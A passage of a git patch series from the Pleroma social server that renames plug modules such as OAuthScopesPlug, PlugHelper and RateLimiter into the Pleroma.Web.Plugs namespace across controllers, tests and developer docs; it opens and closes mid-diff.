plug(Pleroma.Plugs.RateLimiter, name: :one) + plug(Pleroma.Web.Plugs.RateLimiter, name: :one) ... end """ diff --git a/test/pleroma/web/plugs/rate_limiter_test.exs b/test/pleroma/web/plugs/rate_limiter_test.exs index 7c10c97b3..249c78b37 100644 --- a/test/pleroma/web/plugs/rate_limiter_test.exs +++ b/test/pleroma/web/plugs/rate_limiter_test.exs @@ -7,7 +7,7 @@ defmodule Pleroma.Web.Plugs.RateLimiterTest do alias Phoenix.ConnTest alias Pleroma.Config - alias Pleroma.Plugs.RateLimiter + alias Pleroma.Web.Plugs.RateLimiter alias Plug.Conn import Pleroma.Factory -- cgit v1.2.3 From 15772fda5715f901fcc676ce43d3debe462d94c3 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 09:42:36 +0300 Subject: PlugHelper module name --- lib/pleroma/web.ex | 2 +- lib/pleroma/web/plugs/plug_helper.ex | 2 +- test/pleroma/web/plugs/authentication_plug_test.exs | 2 +- test/pleroma/web/plugs/legacy_authentication_plug_test.exs | 2 +- test/pleroma/web/plugs/plug_helper_test.exs | 2 +- 5 files changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/pleroma/web.ex b/lib/pleroma/web.ex index 9ca52733d..66ebe8deb 100644 --- a/lib/pleroma/web.ex +++ b/lib/pleroma/web.ex @@ -25,7 +25,7 @@ defmodule Pleroma.Web do alias Pleroma.Plugs.ExpectAuthenticatedCheckPlug alias Pleroma.Plugs.ExpectPublicOrAuthenticatedCheckPlug alias Pleroma.Plugs.OAuthScopesPlug - alias Pleroma.Plugs.PlugHelper + alias Pleroma.Web.Plugs.PlugHelper def controller do quote do diff --git a/lib/pleroma/web/plugs/plug_helper.ex b/lib/pleroma/web/plugs/plug_helper.ex index 9c67be8ef..b314e7596 100644 --- a/lib/pleroma/web/plugs/plug_helper.ex +++ b/lib/pleroma/web/plugs/plug_helper.ex @@ -2,7 +2,7 @@ # Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> # SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.Plugs.PlugHelper do +defmodule Pleroma.Web.Plugs.PlugHelper do @moduledoc "Pleroma Plug helper" @called_plugs_list_id :called_plugs diff --git a/test/pleroma/web/plugs/authentication_plug_test.exs b/test/pleroma/web/plugs/authentication_plug_test.exs index 550543ff2..0bc589fbe 100644 --- a/test/pleroma/web/plugs/authentication_plug_test.exs +++ b/test/pleroma/web/plugs/authentication_plug_test.exs @@ -7,7 +7,7 @@ defmodule Pleroma.Web.Plugs.AuthenticationPlugTest do alias Pleroma.Plugs.AuthenticationPlug alias Pleroma.Plugs.OAuthScopesPlug - alias Pleroma.Plugs.PlugHelper + alias Pleroma.Web.Plugs.PlugHelper alias Pleroma.User import ExUnit.CaptureLog diff --git a/test/pleroma/web/plugs/legacy_authentication_plug_test.exs b/test/pleroma/web/plugs/legacy_authentication_plug_test.exs index fbb25ee7b..6a44c673e 100644 --- a/test/pleroma/web/plugs/legacy_authentication_plug_test.exs +++ b/test/pleroma/web/plugs/legacy_authentication_plug_test.exs @@ -9,7 +9,7 @@ defmodule Pleroma.Web.Plugs.LegacyAuthenticationPlugTest do alias Pleroma.Plugs.LegacyAuthenticationPlug alias Pleroma.Plugs.OAuthScopesPlug - alias Pleroma.Plugs.PlugHelper + alias Pleroma.Web.Plugs.PlugHelper alias Pleroma.User setup do diff --git a/test/pleroma/web/plugs/plug_helper_test.exs b/test/pleroma/web/plugs/plug_helper_test.exs index 0d32031e8..6febd4388 100644 --- a/test/pleroma/web/plugs/plug_helper_test.exs +++ b/test/pleroma/web/plugs/plug_helper_test.exs @@ -7,7 +7,7 @@ defmodule Pleroma.Web.Plugs.PlugHelperTest do alias Pleroma.Plugs.ExpectAuthenticatedCheckPlug alias Pleroma.Plugs.ExpectPublicOrAuthenticatedCheckPlug - alias Pleroma.Plugs.PlugHelper + alias Pleroma.Web.Plugs.PlugHelper import Mock -- cgit v1.2.3 From a6d8cef33e9ac91c373d0ac4c96a42bd941fe6b2 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 09:57:27 +0300 Subject: OAuthScopesPlug module name --- docs/dev.md | 4 ++-- lib/pleroma/tests/auth_test_controller.ex | 2 +- lib/pleroma/web.ex | 2 +- lib/pleroma/web/admin_api/controllers/admin_api_controller.ex | 2 +- lib/pleroma/web/admin_api/controllers/config_controller.ex | 2 +- lib/pleroma/web/admin_api/controllers/invite_controller.ex | 2 +- .../web/admin_api/controllers/media_proxy_cache_controller.ex | 2 +- lib/pleroma/web/admin_api/controllers/o_auth_app_controller.ex | 2 +- lib/pleroma/web/admin_api/controllers/relay_controller.ex | 2 +- lib/pleroma/web/admin_api/controllers/report_controller.ex | 2 +- lib/pleroma/web/admin_api/controllers/status_controller.ex | 2 +- lib/pleroma/web/masto_fe_controller.ex | 2 +- lib/pleroma/web/mastodon_api/controllers/account_controller.ex | 2 +- lib/pleroma/web/mastodon_api/controllers/app_controller.ex | 2 +- .../web/mastodon_api/controllers/conversation_controller.ex | 2 +- .../web/mastodon_api/controllers/custom_emoji_controller.ex | 2 +- .../web/mastodon_api/controllers/domain_block_controller.ex | 2 +- lib/pleroma/web/mastodon_api/controllers/filter_controller.ex | 2 +- .../web/mastodon_api/controllers/follow_request_controller.ex | 2 +- lib/pleroma/web/mastodon_api/controllers/instance_controller.ex | 2 +- lib/pleroma/web/mastodon_api/controllers/list_controller.ex | 2 +- lib/pleroma/web/mastodon_api/controllers/marker_controller.ex | 2 +- .../web/mastodon_api/controllers/mastodon_api_controller.ex | 2 +- lib/pleroma/web/mastodon_api/controllers/media_controller.ex | 2 +- .../web/mastodon_api/controllers/notification_controller.ex | 2 +- lib/pleroma/web/mastodon_api/controllers/poll_controller.ex | 2 +- lib/pleroma/web/mastodon_api/controllers/report_controller.ex | 4 +--- .../mastodon_api/controllers/scheduled_activity_controller.ex | 2 +- lib/pleroma/web/mastodon_api/controllers/search_controller.ex | 2 +- lib/pleroma/web/mastodon_api/controllers/status_controller.ex | 2 +- .../web/mastodon_api/controllers/subscription_controller.ex | 2 +- .../web/mastodon_api/controllers/suggestion_controller.ex | 2 +- lib/pleroma/web/mastodon_api/controllers/timeline_controller.ex | 2 +- lib/pleroma/web/o_auth/o_auth_controller.ex | 5 ++++- lib/pleroma/web/o_auth/scopes.ex | 2 +- lib/pleroma/web/pleroma_api/controllers/account_controller.ex | 2 +- lib/pleroma/web/pleroma_api/controllers/chat_controller.ex | 2 +- .../web/pleroma_api/controllers/conversation_controller.ex | 2 +- lib/pleroma/web/pleroma_api/controllers/emoji_pack_controller.ex | 9 ++++++--- .../web/pleroma_api/controllers/emoji_reaction_controller.ex | 2 +- lib/pleroma/web/pleroma_api/controllers/mascot_controller.ex | 2 +- .../web/pleroma_api/controllers/notification_controller.ex | 8 ++++++-- lib/pleroma/web/pleroma_api/controllers/scrobble_controller.ex | 2 +- .../controllers/two_factor_authentication_controller.ex | 2 +- lib/pleroma/web/plugs/authentication_plug.ex | 3 +-- lib/pleroma/web/plugs/legacy_authentication_plug.ex | 3 +-- lib/pleroma/web/plugs/o_auth_scopes_plug.ex | 2 +- lib/pleroma/web/twitter_api/controller.ex | 2 +- .../web/twitter_api/controllers/remote_follow_controller.ex | 3 +-- lib/pleroma/web/twitter_api/controllers/util_controller.ex | 2 +- test/pleroma/web/plugs/authentication_plug_test.exs | 2 +- test/pleroma/web/plugs/legacy_authentication_plug_test.exs | 2 +- test/pleroma/web/plugs/o_auth_scopes_plug_test.exs | 2 +- 53 files changed, 67 insertions(+), 62 deletions(-) diff --git a/docs/dev.md b/docs/dev.md index 9c749c17c..085d66760 100644 --- a/docs/dev.md +++ b/docs/dev.md @@ -6,7 +6,7 @@ This document contains notes and guidelines for Pleroma developers. * Pleroma supports hierarchical OAuth scopes, just like Mastodon but with added granularity of admin scopes. For a reference, see [Mastodon OAuth scopes](https://docs.joinmastodon.org/api/oauth-scopes/). -* It is important to either define OAuth scope restrictions or explicitly mark OAuth scope check as skipped, for every controller action. To define scopes, call `plug(Pleroma.Plugs.OAuthScopesPlug, %{scopes: [...]})`. To explicitly set OAuth scopes check skipped, call `plug(:skip_plug, Pleroma.Plugs.OAuthScopesPlug <when ...>)`. +* It is important to either define OAuth scope restrictions or explicitly mark OAuth scope check as skipped, for every controller action. To define scopes, call `plug(Pleroma.Web.Plugs.OAuthScopesPlug, %{scopes: [...]})`. To explicitly set OAuth scopes check skipped, call `plug(:skip_plug, Pleroma.Web.Plugs.OAuthScopesPlug <when ...>)`. * In controllers, `use Pleroma.Web, :controller` will result in `action/2` (see `Pleroma.Web.controller/0` for definition) be called prior to actual controller action, and it'll perform security / privacy checks before passing control to actual controller action. @@ -16,7 +16,7 @@ This document contains notes and guidelines for Pleroma developers. ## [HTTP Basic Authentication](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Authorization) -* With HTTP Basic Auth, OAuth scopes check is _not_ performed for any action (since password is provided during the auth, requester is able to obtain a token with full permissions anyways). `Pleroma.Plugs.AuthenticationPlug` and `Pleroma.Plugs.LegacyAuthenticationPlug` both call `Pleroma.Plugs.OAuthScopesPlug.skip_plug(conn)` when password is provided. +* With HTTP Basic Auth, OAuth scopes check is _not_ performed for any action (since password is provided during the auth, requester is able to obtain a token with full permissions anyways). `Pleroma.Plugs.AuthenticationPlug` and `Pleroma.Plugs.LegacyAuthenticationPlug` both call `Pleroma.Web.Plugs.OAuthScopesPlug.skip_plug(conn)` when password is provided. ## Auth-related configuration, OAuth consumer mode etc. diff --git a/lib/pleroma/tests/auth_test_controller.ex b/lib/pleroma/tests/auth_test_controller.ex index fb04411d9..296cae522 100644 --- a/lib/pleroma/tests/auth_test_controller.ex +++ b/lib/pleroma/tests/auth_test_controller.ex @@ -9,7 +9,7 @@ defmodule Pleroma.Tests.AuthTestController do use Pleroma.Web, :controller alias Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.User # Serves only with proper OAuth token (:api and :authenticated_api) diff --git a/lib/pleroma/web.ex b/lib/pleroma/web.ex index 66ebe8deb..96fe4fdc6 100644 --- a/lib/pleroma/web.ex +++ b/lib/pleroma/web.ex @@ -24,7 +24,7 @@ defmodule Pleroma.Web do alias Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug alias Pleroma.Plugs.ExpectAuthenticatedCheckPlug alias Pleroma.Plugs.ExpectPublicOrAuthenticatedCheckPlug - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.Plugs.PlugHelper def controller do diff --git a/lib/pleroma/web/admin_api/controllers/admin_api_controller.ex b/lib/pleroma/web/admin_api/controllers/admin_api_controller.ex index d5713c3dd..ea4bc06f8 100644 --- a/lib/pleroma/web/admin_api/controllers/admin_api_controller.ex +++ b/lib/pleroma/web/admin_api/controllers/admin_api_controller.ex @@ -10,7 +10,7 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIController do alias Pleroma.Config alias Pleroma.MFA alias Pleroma.ModerationLog - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Stats alias Pleroma.User alias Pleroma.Web.ActivityPub.ActivityPub diff --git a/lib/pleroma/web/admin_api/controllers/config_controller.ex b/lib/pleroma/web/admin_api/controllers/config_controller.ex index 0df13007f..5d155af3d 100644 --- a/lib/pleroma/web/admin_api/controllers/config_controller.ex +++ b/lib/pleroma/web/admin_api/controllers/config_controller.ex @@ -7,7 +7,7 @@ defmodule Pleroma.Web.AdminAPI.ConfigController do alias Pleroma.Config alias Pleroma.ConfigDB - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug plug(Pleroma.Web.ApiSpec.CastAndValidate) plug(OAuthScopesPlug, %{scopes: ["write"], admin: true} when action == :update) diff --git a/lib/pleroma/web/admin_api/controllers/invite_controller.ex b/lib/pleroma/web/admin_api/controllers/invite_controller.ex index 7d169b8d2..47b7d9953 100644 --- a/lib/pleroma/web/admin_api/controllers/invite_controller.ex +++ b/lib/pleroma/web/admin_api/controllers/invite_controller.ex @@ -8,7 +8,7 @@ defmodule Pleroma.Web.AdminAPI.InviteController do import Pleroma.Web.ControllerHelper, only: [json_response: 3] alias Pleroma.Config - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.UserInviteToken require Logger diff --git a/lib/pleroma/web/admin_api/controllers/media_proxy_cache_controller.ex b/lib/pleroma/web/admin_api/controllers/media_proxy_cache_controller.ex index 131e22d78..3aa110b8b 100644 --- a/lib/pleroma/web/admin_api/controllers/media_proxy_cache_controller.ex +++ b/lib/pleroma/web/admin_api/controllers/media_proxy_cache_controller.ex @@ -5,7 +5,7 @@ defmodule Pleroma.Web.AdminAPI.MediaProxyCacheController do use Pleroma.Web, :controller - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.ApiSpec.Admin, as: Spec alias Pleroma.Web.MediaProxy diff --git a/lib/pleroma/web/admin_api/controllers/o_auth_app_controller.ex b/lib/pleroma/web/admin_api/controllers/o_auth_app_controller.ex index dca23ea73..eb86ed17c 100644 --- a/lib/pleroma/web/admin_api/controllers/o_auth_app_controller.ex +++ b/lib/pleroma/web/admin_api/controllers/o_auth_app_controller.ex @@ -7,7 +7,7 @@ defmodule Pleroma.Web.AdminAPI.OAuthAppController do import Pleroma.Web.ControllerHelper, only: [json_response: 3] - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.OAuth.App require Logger diff --git a/lib/pleroma/web/admin_api/controllers/relay_controller.ex b/lib/pleroma/web/admin_api/controllers/relay_controller.ex index 6c19f09f7..8a4cafde3 100644 --- a/lib/pleroma/web/admin_api/controllers/relay_controller.ex +++ b/lib/pleroma/web/admin_api/controllers/relay_controller.ex @@ -6,7 +6,7 @@ defmodule Pleroma.Web.AdminAPI.RelayController do use Pleroma.Web, :controller alias Pleroma.ModerationLog - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.ActivityPub.Relay require Logger diff --git a/lib/pleroma/web/admin_api/controllers/report_controller.ex b/lib/pleroma/web/admin_api/controllers/report_controller.ex index 4c011e174..6e8c31645 100644 --- a/lib/pleroma/web/admin_api/controllers/report_controller.ex +++ b/lib/pleroma/web/admin_api/controllers/report_controller.ex @@ -9,7 +9,7 @@ defmodule Pleroma.Web.AdminAPI.ReportController do alias Pleroma.Activity alias Pleroma.ModerationLog - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.ReportNote alias Pleroma.Web.ActivityPub.Utils alias Pleroma.Web.AdminAPI diff --git a/lib/pleroma/web/admin_api/controllers/status_controller.ex b/lib/pleroma/web/admin_api/controllers/status_controller.ex index bc48cc527..cefdf5d40 100644 --- a/lib/pleroma/web/admin_api/controllers/status_controller.ex +++ b/lib/pleroma/web/admin_api/controllers/status_controller.ex @@ -7,7 +7,7 @@ defmodule Pleroma.Web.AdminAPI.StatusController do alias Pleroma.Activity alias Pleroma.ModerationLog - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.ActivityPub.ActivityPub alias Pleroma.Web.CommonAPI alias Pleroma.Web.MastodonAPI diff --git a/lib/pleroma/web/masto_fe_controller.ex b/lib/pleroma/web/masto_fe_controller.ex index 43ec70021..6e348db14 100644 --- a/lib/pleroma/web/masto_fe_controller.ex +++ b/lib/pleroma/web/masto_fe_controller.ex @@ -6,7 +6,7 @@ defmodule Pleroma.Web.MastoFEController do use Pleroma.Web, :controller alias Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.User plug(OAuthScopesPlug, %{scopes: ["write:accounts"]} when action == :put_settings) diff --git a/lib/pleroma/web/mastodon_api/controllers/account_controller.ex b/lib/pleroma/web/mastodon_api/controllers/account_controller.ex index 0d9dfb827..518fa775c 100644 --- a/lib/pleroma/web/mastodon_api/controllers/account_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/account_controller.ex @@ -16,7 +16,7 @@ defmodule Pleroma.Web.MastodonAPI.AccountController do alias Pleroma.Maps alias Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.Plugs.RateLimiter alias Pleroma.User alias Pleroma.Web.ActivityPub.ActivityPub diff --git a/lib/pleroma/web/mastodon_api/controllers/app_controller.ex b/lib/pleroma/web/mastodon_api/controllers/app_controller.ex index a516b6c20..098859cd3 100644 --- a/lib/pleroma/web/mastodon_api/controllers/app_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/app_controller.ex @@ -6,7 +6,7 @@ defmodule Pleroma.Web.MastodonAPI.AppController do use Pleroma.Web, :controller alias Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Repo alias Pleroma.Web.OAuth.App alias Pleroma.Web.OAuth.Scopes diff --git a/lib/pleroma/web/mastodon_api/controllers/conversation_controller.ex b/lib/pleroma/web/mastodon_api/controllers/conversation_controller.ex index f35ec3596..ee8cc11ef 100644 --- a/lib/pleroma/web/mastodon_api/controllers/conversation_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/conversation_controller.ex @@ -8,7 +8,7 @@ defmodule Pleroma.Web.MastodonAPI.ConversationController do import Pleroma.Web.ControllerHelper, only: [add_link_headers: 2] alias Pleroma.Conversation.Participation - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Repo action_fallback(Pleroma.Web.MastodonAPI.FallbackController) diff --git a/lib/pleroma/web/mastodon_api/controllers/custom_emoji_controller.ex b/lib/pleroma/web/mastodon_api/controllers/custom_emoji_controller.ex index c5f47c5df..29f1fdb9a 100644 --- a/lib/pleroma/web/mastodon_api/controllers/custom_emoji_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/custom_emoji_controller.ex @@ -9,7 +9,7 @@ defmodule Pleroma.Web.MastodonAPI.CustomEmojiController do plug( :skip_plug, - [Pleroma.Plugs.OAuthScopesPlug, Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug] + [Pleroma.Web.Plugs.OAuthScopesPlug, Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug] when action == :index ) diff --git a/lib/pleroma/web/mastodon_api/controllers/domain_block_controller.ex b/lib/pleroma/web/mastodon_api/controllers/domain_block_controller.ex index 9c2d093cd..fda27f669 100644 --- a/lib/pleroma/web/mastodon_api/controllers/domain_block_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/domain_block_controller.ex @@ -5,7 +5,7 @@ defmodule Pleroma.Web.MastodonAPI.DomainBlockController do use Pleroma.Web, :controller - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.User plug(Pleroma.Web.ApiSpec.CastAndValidate) diff --git a/lib/pleroma/web/mastodon_api/controllers/filter_controller.ex b/lib/pleroma/web/mastodon_api/controllers/filter_controller.ex index abbf0ce02..c71a34b15 100644 --- a/lib/pleroma/web/mastodon_api/controllers/filter_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/filter_controller.ex @@ -6,7 +6,7 @@ defmodule Pleroma.Web.MastodonAPI.FilterController do use Pleroma.Web, :controller alias Pleroma.Filter - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug @oauth_read_actions [:show, :index] diff --git a/lib/pleroma/web/mastodon_api/controllers/follow_request_controller.ex b/lib/pleroma/web/mastodon_api/controllers/follow_request_controller.ex index 748b6b475..e9fd8630f 100644 --- a/lib/pleroma/web/mastodon_api/controllers/follow_request_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/follow_request_controller.ex @@ -5,7 +5,7 @@ defmodule Pleroma.Web.MastodonAPI.FollowRequestController do use Pleroma.Web, :controller - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.User alias Pleroma.Web.CommonAPI diff --git a/lib/pleroma/web/mastodon_api/controllers/instance_controller.ex b/lib/pleroma/web/mastodon_api/controllers/instance_controller.ex index d8859731d..1280f10cb 100644 --- a/lib/pleroma/web/mastodon_api/controllers/instance_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/instance_controller.ex @@ -9,7 +9,7 @@ defmodule Pleroma.Web.MastodonAPI.InstanceController do plug( :skip_plug, - [Pleroma.Plugs.OAuthScopesPlug, Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug] + [Pleroma.Web.Plugs.OAuthScopesPlug, Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug] when action in [:show, :peers] ) diff --git a/lib/pleroma/web/mastodon_api/controllers/list_controller.ex b/lib/pleroma/web/mastodon_api/controllers/list_controller.ex index 5daeaa780..bd6460881 100644 --- a/lib/pleroma/web/mastodon_api/controllers/list_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/list_controller.ex @@ -5,7 +5,7 @@ defmodule Pleroma.Web.MastodonAPI.ListController do use Pleroma.Web, :controller - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.User alias Pleroma.Web.MastodonAPI.AccountView diff --git a/lib/pleroma/web/mastodon_api/controllers/marker_controller.ex b/lib/pleroma/web/mastodon_api/controllers/marker_controller.ex index 85310edfa..0628b2b49 100644 --- a/lib/pleroma/web/mastodon_api/controllers/marker_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/marker_controller.ex @@ -4,7 +4,7 @@ defmodule Pleroma.Web.MastodonAPI.MarkerController do use Pleroma.Web, :controller - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug plug(Pleroma.Web.ApiSpec.CastAndValidate) diff --git a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex index e7767de4e..12c99d8c8 100644 --- a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex @@ -17,7 +17,7 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do plug( :skip_plug, - [Pleroma.Plugs.OAuthScopesPlug, Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug] + [Pleroma.Web.Plugs.OAuthScopesPlug, Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug] when action in [:empty_array, :empty_object] ) diff --git a/lib/pleroma/web/mastodon_api/controllers/media_controller.ex b/lib/pleroma/web/mastodon_api/controllers/media_controller.ex index 513de279f..b60d736f7 100644 --- a/lib/pleroma/web/mastodon_api/controllers/media_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/media_controller.ex @@ -6,7 +6,7 @@ defmodule Pleroma.Web.MastodonAPI.MediaController do use Pleroma.Web, :controller alias Pleroma.Object - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.User alias Pleroma.Web.ActivityPub.ActivityPub diff --git a/lib/pleroma/web/mastodon_api/controllers/notification_controller.ex b/lib/pleroma/web/mastodon_api/controllers/notification_controller.ex index e25cef30b..9ccac3d41 100644 --- a/lib/pleroma/web/mastodon_api/controllers/notification_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/notification_controller.ex @@ -8,7 +8,7 @@ defmodule Pleroma.Web.MastodonAPI.NotificationController do import Pleroma.Web.ControllerHelper, only: [add_link_headers: 2] alias Pleroma.Notification - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.MastodonAPI.MastodonAPI @oauth_read_actions [:show, :index] diff --git a/lib/pleroma/web/mastodon_api/controllers/poll_controller.ex b/lib/pleroma/web/mastodon_api/controllers/poll_controller.ex index db46ffcfc..9f97bd609 100644 --- a/lib/pleroma/web/mastodon_api/controllers/poll_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/poll_controller.ex @@ -9,7 +9,7 @@ defmodule Pleroma.Web.MastodonAPI.PollController do alias Pleroma.Activity alias Pleroma.Object - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.ActivityPub.Visibility alias Pleroma.Web.CommonAPI diff --git a/lib/pleroma/web/mastodon_api/controllers/report_controller.ex b/lib/pleroma/web/mastodon_api/controllers/report_controller.ex index 405167108..156544f40 100644 --- a/lib/pleroma/web/mastodon_api/controllers/report_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/report_controller.ex @@ -3,14 +3,12 @@ # SPDX-License-Identifier: AGPL-3.0-only defmodule Pleroma.Web.MastodonAPI.ReportController do - alias Pleroma.Plugs.OAuthScopesPlug - use Pleroma.Web, :controller action_fallback(Pleroma.Web.MastodonAPI.FallbackController) plug(Pleroma.Web.ApiSpec.CastAndValidate) - plug(OAuthScopesPlug, %{scopes: ["write:reports"]} when action == :create) + plug(Pleroma.Web.Plugs.OAuthScopesPlug, %{scopes: ["write:reports"]} when action == :create) defdelegate open_api_operation(action), to: Pleroma.Web.ApiSpec.ReportOperation diff --git a/lib/pleroma/web/mastodon_api/controllers/scheduled_activity_controller.ex b/lib/pleroma/web/mastodon_api/controllers/scheduled_activity_controller.ex index 1719c67ea..97d2fea23 100644 --- a/lib/pleroma/web/mastodon_api/controllers/scheduled_activity_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/scheduled_activity_controller.ex @@ -7,7 +7,7 @@ defmodule Pleroma.Web.MastodonAPI.ScheduledActivityController do import Pleroma.Web.ControllerHelper, only: [add_link_headers: 2] - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.ScheduledActivity alias Pleroma.Web.MastodonAPI.MastodonAPI diff --git a/lib/pleroma/web/mastodon_api/controllers/search_controller.ex b/lib/pleroma/web/mastodon_api/controllers/search_controller.ex index d5afac981..c60b3dff6 100644 --- a/lib/pleroma/web/mastodon_api/controllers/search_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/search_controller.ex @@ -6,7 +6,7 @@ defmodule Pleroma.Web.MastodonAPI.SearchController do use Pleroma.Web, :controller alias Pleroma.Activity - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.Plugs.RateLimiter alias Pleroma.Repo alias Pleroma.User diff --git a/lib/pleroma/web/mastodon_api/controllers/status_controller.ex b/lib/pleroma/web/mastodon_api/controllers/status_controller.ex index 6c1ac9458..c160ac27d 100644 --- a/lib/pleroma/web/mastodon_api/controllers/status_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/status_controller.ex @@ -13,7 +13,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusController do alias Pleroma.Activity alias Pleroma.Bookmark alias Pleroma.Object - alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.Plugs.RateLimiter alias Pleroma.Repo alias Pleroma.ScheduledActivity diff --git a/lib/pleroma/web/mastodon_api/controllers/subscription_controller.ex b/lib/pleroma/web/mastodon_api/controllers/subscription_controller.ex index 34eac97c5..20138908c 100644 --- a/lib/pleroma/web/mastodon_api/controllers/subscription_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/subscription_controller.ex @@ -13,7 +13,7 @@ defmodule Pleroma.Web.MastodonAPI.SubscriptionController do plug(Pleroma.Web.ApiSpec.CastAndValidate) plug(:restrict_push_enabled) - plug(Pleroma.Plugs.OAuthScopesPlug, %{scopes: ["push"]}) + plug(Pleroma.Web.Plugs.OAuthScopesPlug, %{scopes: ["push"]}) defdelegate open_api_operation(action), to: Pleroma.Web.ApiSpec.SubscriptionOperation diff --git a/lib/pleroma/web/mastodon_api/controllers/suggestion_controller.ex b/lib/pleroma/web/mastodon_api/controllers/suggestion_controller.ex index f91df9ab7..5765271cf 100644 --- a/lib/pleroma/web/mastodon_api/controllers/suggestion_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/suggestion_controller.ex @@ -8,7 +8,7 @@ defmodule Pleroma.Web.MastodonAPI.SuggestionController do require Logger plug(Pleroma.Web.ApiSpec.CastAndValidate) - plug(Pleroma.Plugs.OAuthScopesPlug, %{scopes: ["read"]} when action == :index) + plug(Pleroma.Web.Plugs.OAuthScopesPlug, %{scopes: ["read"]} when action == :index) def open_api_operation(action) do operation = String.to_existing_atom("#{action}_operation") diff --git a/lib/pleroma/web/mastodon_api/controllers/timeline_controller.ex b/lib/pleroma/web/mastodon_api/controllers/timeline_controller.ex index cc410d4f4..74a4bf689 100644 --- a/lib/pleroma/web/mastodon_api/controllers/timeline_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/timeline_controller.ex @@ -11,7 +11,7 @@ defmodule Pleroma.Web.MastodonAPI.TimelineController do alias Pleroma.Config alias Pleroma.Pagination alias 